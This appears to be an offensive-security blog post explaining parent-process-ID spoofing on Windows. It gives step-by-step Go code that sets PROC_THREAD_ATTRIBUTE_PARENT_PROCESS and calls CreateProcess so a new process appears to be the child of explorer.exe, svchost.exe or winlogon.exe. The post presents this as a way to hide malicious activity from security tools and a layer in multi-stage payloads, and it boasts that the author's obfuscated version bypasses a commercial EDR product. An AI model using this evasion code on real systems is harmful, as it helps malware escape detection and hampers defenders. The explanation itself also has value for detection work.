PPID Spoofing
What is PPID Spoofing?
By default, when you spawn a process, the system sets the Parent Process ID (PPID) to that of the process that launched it. Many security solutions use this relationship to identify suspicious behavior — for example, powershell.exe
spawned from notepad.exe
might raise a red flag.
PPID spoofing involves launching a new process and manually assigning a different, legitimate parent — like explorer.exe
, svchost.exe
, or winlogon.exe
— to avoid detection.
How and why PPID spoofing is possible on Windows
Windows doesn’t strictly enforce that a newly spawned process must inherit the PID of its real parent. Instead, when creating a process via the Windows API, developers can use an extended startup structure — STARTUPINFOEX
— which allows for specifying additional attributes during process creation.
One of these attributes is PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
, which lets you set a custom parent process handle. As long as the calling process has the appropriate privileges (specifically, the PROCESS_CREATE_PROCESS
access right on the target parent), Windows will happily assign that process as the new parent — no questions asked.
This design choice was originally intended for legitimate use cases like job object management, sandboxing, or advanced debugging. But in the offensive world, it opens the door to abusing the same mechanism to spoof parent processes, blending malicious activity into trusted process trees like explorer.exe
, svchost.exe
, or even winlogon.exe
.

Step 1: Define structures
First, Need to define needed structure for our API calls and attributes manipulation
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
type ProcessEntry32 struct {
Size uint32
Usage uint32
ProcessID uint32
DefaultHeapID uintptr
ModuleID uint32
Threads uint32
ParentProcessID uint32
PriClassBase int32
Flags uint32
ExeFile [windows.MAX_PATH]uint16
}
The key elements for this technique is STARTUPINFOEX
structure and ParentProcessID
definition in ProcessEntry32, as it let us set more custom attribute when launching a process.
Step 2: Create the Handle to the parent process
After initializing the attribute list, we open a handle to the parent process using OpenProcess
with the PROCESS_CREATE_PROCESS
right:
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
As the method to get the target PPID is already defined here, i won't explain it again, even if the function is quite different, as we need to identify and return a PPID, not an handle
Step 3: define the custom attribute
For our manipulation to work, we need to update the process attribute list before launching the process. In our case we add the value 0x00020000
, that is the Windows constant for PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
in the function UpdateProcThreadAttribute
, then finally we pass a pointer to the parent handle as the value of the attribute. By the way, a great resource to find all the windows types and structures for golang is available here (please learn how to search things by yourself instead of harrasing me for my sources (joking(or not))).
For make the things work, we also need to add the flag 0x00080000
, this flag is needed to explicit the use of an extended startupinfo.
ret, _, err = updateProcThreadAttribute.Call(
uintptr(unsafe.Pointer(startupInfoEx.AttributeList)),
0,
0x00020000, // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
uintptr(unsafe.Pointer(&parentHandle)),
unsafe.Sizeof(parentHandle),
0,
0,
)
if ret == 0 {
return fmt.Errorf("UpdateProcThreadAttribute a échoué: %v", err)
}
startupInfoEx.Cb = uint32(unsafe.Sizeof(*startupInfoEx))
var procInfo windows.ProcessInformation
creationFlags := windows.CREATE_NEW_CONSOLE | 0x00080000 // EXTENDED_STARTUPINFO_PRESENT
Step 4: Spawn the Process
Finally, we call CreateProcess
using our crafted STARTUPINFOEX
. The result is a new process that appears to have been spawned by the parent we chose.
This breaks the default parent-child relationship and can help blend our activity into legitimate process trees.
err = windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr(cmd),
nil,
nil,
false,
uint32(creationFlags),
nil,
nil,
&startupInfoEx.StartupInfo,
&procInfo,
)

⚠️ Limitations
While this technique is useful, well-configured modern EDRs (real EDRs, not Defender for Endpoints) are catching on. Some may check for anomalies in token privileges, suspicious process trees, or monitor the use of STARTUPINFOEX. That said, PPID spoofing remains a great first-layer obfuscation in multi-stage payloads.
Fun Fact
With some classic static obfuscation of DLLs name and functions imports , the noisy code linked to this article bypasses SentinelOne 🤡 never underestimate static obfuscation. Thanks AgOnY for the feedback 🔥
As always, the full code is available here
Last updated